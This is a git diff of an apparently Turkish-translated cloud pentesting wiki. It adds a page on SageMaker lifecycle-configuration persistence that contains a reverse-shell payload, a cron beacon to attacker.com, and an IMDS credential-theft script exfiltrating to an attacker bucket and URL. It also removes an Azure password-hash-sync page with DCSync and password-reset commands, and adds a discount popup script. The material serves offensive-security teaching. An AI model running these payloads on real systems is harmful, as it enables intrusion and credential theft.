diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 17225a2e2..582319269 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -442,11 +442,13 @@ - [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md) - [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md) - [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md) - - [Az- Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md) - - [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md) + - [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md) - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md) - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md) - - [Az - PHS - Password Hash Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md) + - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md) + - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md) + - [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md) + - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md) - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md) - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md) - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md) diff --git a/src/images/discount.jpeg b/src/images/discount.jpeg new file mode 100644 index 000000000..5c0b098d4 Binary files /dev/null and b/src/images/discount.jpeg differ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md new file mode 100644 index 000000000..ccf025183 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md @@ -0,0 +1,156 @@ +# AWS - SageMaker Yaşam Döngüsü Yapılandırması Sürekliliği + +## Süreklilik Tekniklerinin Genel Görünümü + +Bu bölüm, Lifecycle Configurations (LCC'ler) kullanarak SageMaker'da süreklilik sağlama yöntemlerini, ters shell'ler, cron işleri, IMDS üzerinden kimlik bilgisi hırsızlığı ve SSH arka kapıları dahil olmak üzere özetlemektedir. Bu betikler, örneğin IAM rolü ile çalışır ve yeniden başlatmalar arasında süreklilik gösterebilir. Çoğu teknik, dışa dönük ağ erişimi gerektirir, ancak AWS kontrol düzlemindeki hizmetlerin kullanımı, ortam 'VPC-sadece' modunda olsa bile başarıyı sağlayabilir. +#### Not: SageMaker not defteri örnekleri, esasen makine öğrenimi iş yükleri için özel olarak yapılandırılmış yönetilen EC2 örnekleridir. + +## Gerekli İzinler +* Not Defteri Örnekleri: +``` +sagemaker:CreateNotebookInstanceLifecycleConfig +sagemaker:UpdateNotebookInstanceLifecycleConfig +sagemaker:CreateNotebookInstance +sagemaker:UpdateNotebookInstance +``` +* Studio Uygulamaları: +``` +sagemaker:CreateStudioLifecycleConfig +sagemaker:UpdateStudioLifecycleConfig +sagemaker:UpdateUserProfile +sagemaker:UpdateSpace +sagemaker:UpdateDomain +``` +## Notebook Örneklerinde Yaşam Döngüsü Yapılandırmasını Ayarlama + +### Örnek AWS CLI Komutları: +```bash +# Create Lifecycle Configuration* + +aws sagemaker create-notebook-instance-lifecycle-config \ +--notebook-instance-lifecycle-config-name attacker-lcc \ +--on-start Content=$(base64 -w0 reverse_shell.sh) + + +# Attach Lifecycle Configuration to Notebook Instance* + +aws sagemaker update-notebook-instance \ +--notebook-instance-name victim-instance \ +--lifecycle-config-name attacker-lcc +``` +## SageMaker Studio'da Yaşam Döngüsü Yapılandırmasını Ayarlama + +Yaşam döngüsü yapılandırmaları, SageMaker Studio içinde çeşitli seviyelerde ve farklı uygulama türlerine eklenebilir. + +### Stüdyo Alanı Seviyesi (Tüm Kullanıcılar) +```bash +# Create Studio Lifecycle Configuration* + +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-studio-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) + + +# Apply LCC to entire Studio Domain* + +aws sagemaker update-domain --domain-id --default-user-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +### Stüdyo Alanı Seviyesi (Bireysel veya Paylaşılan Alanlar) +```bash +# Update SageMaker Studio Space to attach LCC* + +aws sagemaker update-space --domain-id --space-name --space-settings '{ +"JupyterServerAppSettings": { +"DefaultResourceSpec": {"LifecycleConfigArn": ""} +} +}' +``` +## Studio Uygulama Yaşam Döngüsü Yapılandırma Türleri + +Yaşam döngüsü yapılandırmaları, farklı SageMaker Studio uygulama türlerine özel olarak uygulanabilir: +* JupyterServer: Jupyter sunucusu başlangıcında betikleri çalıştırır, ters shell ve cron işleri gibi kalıcılık mekanizmaları için idealdir. +* KernelGateway: Kernel gateway uygulaması başlatıldığında çalışır, başlangıç ayarları veya kalıcı erişim için kullanışlıdır. +* CodeEditor: Kod Düzenleyici'ye (Code-OSS) uygulanır, kod düzenleme oturumları başladığında çalışan betikleri etkinleştirir. + +### Her Tür için Örnek Komut: + +### JupyterServer +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-jupyter-lcc \ +--studio-lifecycle-config-app-type JupyterServer \ +--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh) +``` +### KernelGateway +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-kernelgateway-lcc \ +--studio-lifecycle-config-app-type KernelGateway \ +--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh) +``` +### CodeEditor +```bash +aws sagemaker create-studio-lifecycle-config \ +--studio-lifecycle-config-name attacker-codeeditor-lcc \ +--studio-lifecycle-config-app-type CodeEditor \ +--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh) +``` +### Kritik Bilgiler: +* Alan veya alan seviyesi LCC'lerin eklenmesi, kapsam içindeki tüm kullanıcıları veya uygulamaları etkiler. +* Genellikle alan seviyesinden daha uygulanabilir olan daha yüksek izinler gerektirir (sagemaker:UpdateDomain, sagemaker:UpdateSpace). +* Ağ seviyesi kontrolleri (örneğin, katı çıkış filtrelemesi) başarılı ters shell'leri veya veri sızdırılmasını engelleyebilir. + +## Yaşam Döngüsü Yapılandırması ile Ters Shell + +SageMaker Yaşam Döngüsü Yapılandırmaları (LCC'ler), not defteri örnekleri başladığında özel betikler çalıştırır. İzinlere sahip bir saldırgan, kalıcı bir ters shell kurabilir. + +### Yük Örneği: +``` +#!/bin/bash +ATTACKER_IP="" +ATTACKER_PORT="" +nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 & +``` +## Cron Job Persistence via Lifecycle Configuration + +Bir saldırgan, LCC scriptleri aracılığıyla cron işleri enjekte edebilir, kötü niyetli scriptlerin veya komutların periyodik olarak çalıştırılmasını sağlayarak gizli bir kalıcılık elde edebilir. + +### Payload Example: +``` +#!/bin/bash +PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py" +CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH" +CRON_JOB="*/30 * * * * $CRON_CMD" + +mkdir -p /home/ec2-user/SageMaker/.local_tasks +echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH +chmod +x $PAYLOAD_PATH + +(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user - +``` +## Kimlik Bilgilerinin IMDS (v1 & v2) Üzerinden Sızdırılması + +Yaşam döngüsü yapılandırmaları, IAM kimlik bilgilerini almak ve bunları saldırganın kontrolündeki bir konuma sızdırmak için Instance Metadata Service (IMDS) ile sorgu yapabilir. + +### Yük Örneği: +```bash +#!/bin/bash +ATTACKER_BUCKET="s3://attacker-controlled-bucket" +TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") +ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) +curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json + +# Exfiltrate via S3* + +aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json + +# Alternatively, exfiltrate via HTTP POST* + +curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload +``` + diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md deleted file mode 100644 index 6724d380d..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ /dev/null @@ -1,114 +0,0 @@ -# Az - PHS - Parola Hash Senkronizasyonu - -{{#include ../../../../banners/hacktricks-training.md}} - -## Temel Bilgiler - -[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Parola hash senkronizasyonu**, hibrit kimlik elde etmek için kullanılan oturum açma yöntemlerinden biridir. **Azure AD Connect**, bir kullanıcının parolasının hash'inin hash'ini, yerel bir Active Directory örneğinden bulut tabanlı bir Azure AD örneğine senkronize eder. - -
- -Bu, şirketler tarafından yerel bir AD'yi Azure AD ile senkronize etmek için kullanılan **en yaygın yöntemdir**. - -Tüm **kullanıcılar** ve **parola hash'lerinin hash'i** yerelden Azure AD'ye senkronize edilir. Ancak, **düz metin parolalar** veya **orijinal** **hash'ler** Azure AD'ye gönderilmez.\ -Ayrıca, **Yerleşik** güvenlik grupları (örneğin, alan yöneticileri...) **Azure AD'ye senkronize edilmez**. - -**Hash senkronizasyonu** her **2 dakikada** bir gerçekleşir. Ancak, varsayılan olarak, **parola süresi dolma** ve **hesap** **süresi dolma** Azure AD'de **senkronize edilmez**. Bu nedenle, **yerel parolasının süresi dolmuş** (değiştirilmemiş) bir kullanıcı, eski parolayı kullanarak **Azure kaynaklarına erişmeye** devam edebilir. - -Yerel bir kullanıcı bir Azure kaynağına erişmek istediğinde, **kimlik doğrulama Azure AD'de gerçekleşir**. - -**PHS**, **Kimlik Koruma** ve AAD Alan Hizmetleri gibi özellikler için gereklidir. - -## Pivotlama - -PHS yapılandırıldığında bazı **ayrıcalıklı hesaplar** otomatik olarak **oluşturulur**: - -- **`MSOL_`** hesabı yerel AD'de otomatik olarak oluşturulur. Bu hesaba **Dizin Senkronizasyon Hesapları** rolü verilir (bkz. [belgeler](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), bu da yerel AD'de **replication (DCSync) izinlerine** sahip olduğu anlamına gelir. -- Azure AD'de **`Sync__installationID`** hesabı oluşturulur. Bu hesap, Azure AD'deki **HERHANGİ bir kullanıcının** (senkronize edilmiş veya yalnızca bulut) parolasını **sıfırlayabilir**. - -Önceki iki ayrıcalıklı hesabın parolaları, **Azure AD Connect'in kurulu olduğu** sunucudaki bir SQL sunucusunda **saklanır**. Yöneticiler, bu ayrıcalıklı kullanıcıların parolalarını düz metin olarak çıkarabilir.\ -Veritabanası `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf` konumundadır. - -Şifrelenmiş olan bir tablo üzerinden yapılandırmayı çıkarmak mümkündür: - -`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` - -**Şifrelenmiş yapılandırma**, **DPAPI** ile şifrelenmiştir ve yerel AD'deki **`MSOL_*`** kullanıcısının parolalarını ve AzureAD'deki **Sync\_\*** parolasını içerir. Bu nedenle, bunların ele geçirilmesi, AD'ye ve AzureAD'ye yükseltilmiş erişim sağlamak mümkündür. - -Bu kimlik bilgilerin nasıl saklandığı ve çözüldüğüne dair [tam bir genel bakış bu konuşmada bulunmaktadır](https://www.youtube.com/watch?v=JEIR5oGCwdg). - -### **Azure AD connect sunucusunu bulma** - -Eğer **Azure AD connect'in kurulu olduğu sunucu** alan katılımcısıysa (belgelerde önerilmektedir), şu şekilde bulunabilir: -```bash -# ActiveDirectory module -Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl - -#Azure AD module -Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} -``` -### MSOL\_\* İstismarı -```bash -# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module -Get-AADIntSyncCredentials - -# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD -runas /netonly /user:defeng.corp\MSOL_123123123123 cmd -Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"' -``` -> [!CAUTION] -> Bu kimlik bilgilerini elde etmek için [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) aracını da kullanabilirsiniz. - -### Sync\_\* İstismar Etme - -**`Sync_*`** hesabını ele geçirerek, herhangi bir kullanıcının (Global Yöneticiler dahil) **şifresini sıfırlamak** mümkündür. -```bash -# This command, run previously, will give us alse the creds of this account -Get-AADIntSyncCredentials - -# Get access token for Sync_* account -$passwd = ConvertTo-SecureString '' -AsPlainText - Force -$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd) -Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache - -# Get global admins -Get-AADIntGlobalAdmins - -# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID) -Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId - -# Reset the users password -Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose - -# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) -``` -Aynı zamanda **sadece bulut** kullanıcılarının şifrelerini değiştirmek de mümkündür (bu beklenmedik olsa bile). -```bash -# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID -# The CloudAnchor is of the format USER_ObjectID. -Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID - -# Reset password -Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers -``` -Bu kullanıcının şifresini dökme olanağı da vardır. - -> [!CAUTION] -> Diğer bir seçenek, **bir hizmet ilkesine ayrıcalıklı izinler atamak** olacaktır; bu, **Sync** kullanıcısının **izin** vermeye yetkili olduğu bir işlemdir ve ardından **o hizmet ilkesine erişmek** bir ayrıcalık yükseltme (privesc) yöntemi olarak kullanılabilir. - -### Seamless SSO - -PHS ile Seamless SSO kullanmak mümkündür; bu, diğer kötüye kullanımlara karşı savunmasızdır. Bunu kontrol edin: - -{{#ref}} -seamless-sso.md -{{#endref}} - -## Referanslar - -- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs) -- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf) -- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8) - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index 13337c3f1..02f51127e 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -1,3 +1,104 @@ +/** + * HackTricks Training Discounts + */ + + +(() => { + const KEY = 'htSummerDiscountsDismissed'; + const IMG = '/images/discount.jpeg'; + const TXT = 'Click here for HT Summer Discounts, Last Days!'; + const URL = 'https://training.hacktricks.xyz'; + + /* Stop if user already dismissed */ + if (localStorage.getItem(KEY) === 'true') return; + + /* Quick helper */ + const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css }); + + /* --- Overlay (blur + dim) --- */ + const overlay = $('div', ` + position: fixed; inset: 0; + background: rgba(0,0,0,.4); + backdrop-filter: blur(6px); + display: flex; justify-content: center; align-items: center; + z-index: 10000; + `); + + /* --- Modal --- */ + const modal = $('div', ` + max-width: 90vw; width: 480px; + background: #fff; border-radius: 12px; overflow: hidden; + box-shadow: 0 8px 24px rgba(0,0,0,.35); + font-family: system-ui, sans-serif; + display: flex; flex-direction: column; align-items: stretch; + `); + + /* --- Title bar (link + close) --- */ + const titleBar = $('div', ` + position: relative; + padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */ + text-align: center; + background: #222; color: #fff; + font-size: 1.3rem; font-weight: 700; + `); + + const link = $('a', ` + color: inherit; + text-decoration: none; + display: block; + `); + link.href = URL; + link.target = '_blank'; + link.rel = 'noopener noreferrer'; + link.textContent = TXT; + titleBar.appendChild(link); + + /* Close "X" (no persistence) */ + const closeBtn = $('button', ` + position: absolute; top: .25rem; right: .5rem; + background: transparent; border: none; + color: #fff; font-size: 1.4rem; line-height: 1; + cursor: pointer; padding: 0; margin: 0; + `); + closeBtn.setAttribute('aria-label', 'Close'); + closeBtn.textContent = '✕'; + closeBtn.onclick = () => overlay.remove(); + titleBar.appendChild(closeBtn); + + /* --- Image --- */ + const img = $('img'); + img.src = IMG; img.alt = TXT; img.style.width = '100%'; + + /* --- Checkbox row --- */ + const label = $('label', ` + display: flex; align-items: center; justify-content: center; gap: .6rem; + padding: 1rem; font-size: 1rem; color: #222; cursor: pointer; + `); + const cb = $('input'); cb.type = 'checkbox'; cb.style.scale = '1.2'; + cb.onchange = () => { + if (cb.checked) { + localStorage.setItem(KEY, 'true'); + overlay.remove(); + } + }; + label.append(cb, document.createTextNode("Don't show again")); + + /* --- Assemble & inject --- */ + modal.append(titleBar, img, label); + overlay.appendChild(modal); + + if (document.readyState === 'loading') { + document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay), { once: true }); + } else { + document.body.appendChild(overlay); + } +})(); + + + + + + /** * HackTricks AI Chat Widget v1.16 – resizable sidebar * ---------------------------------------------------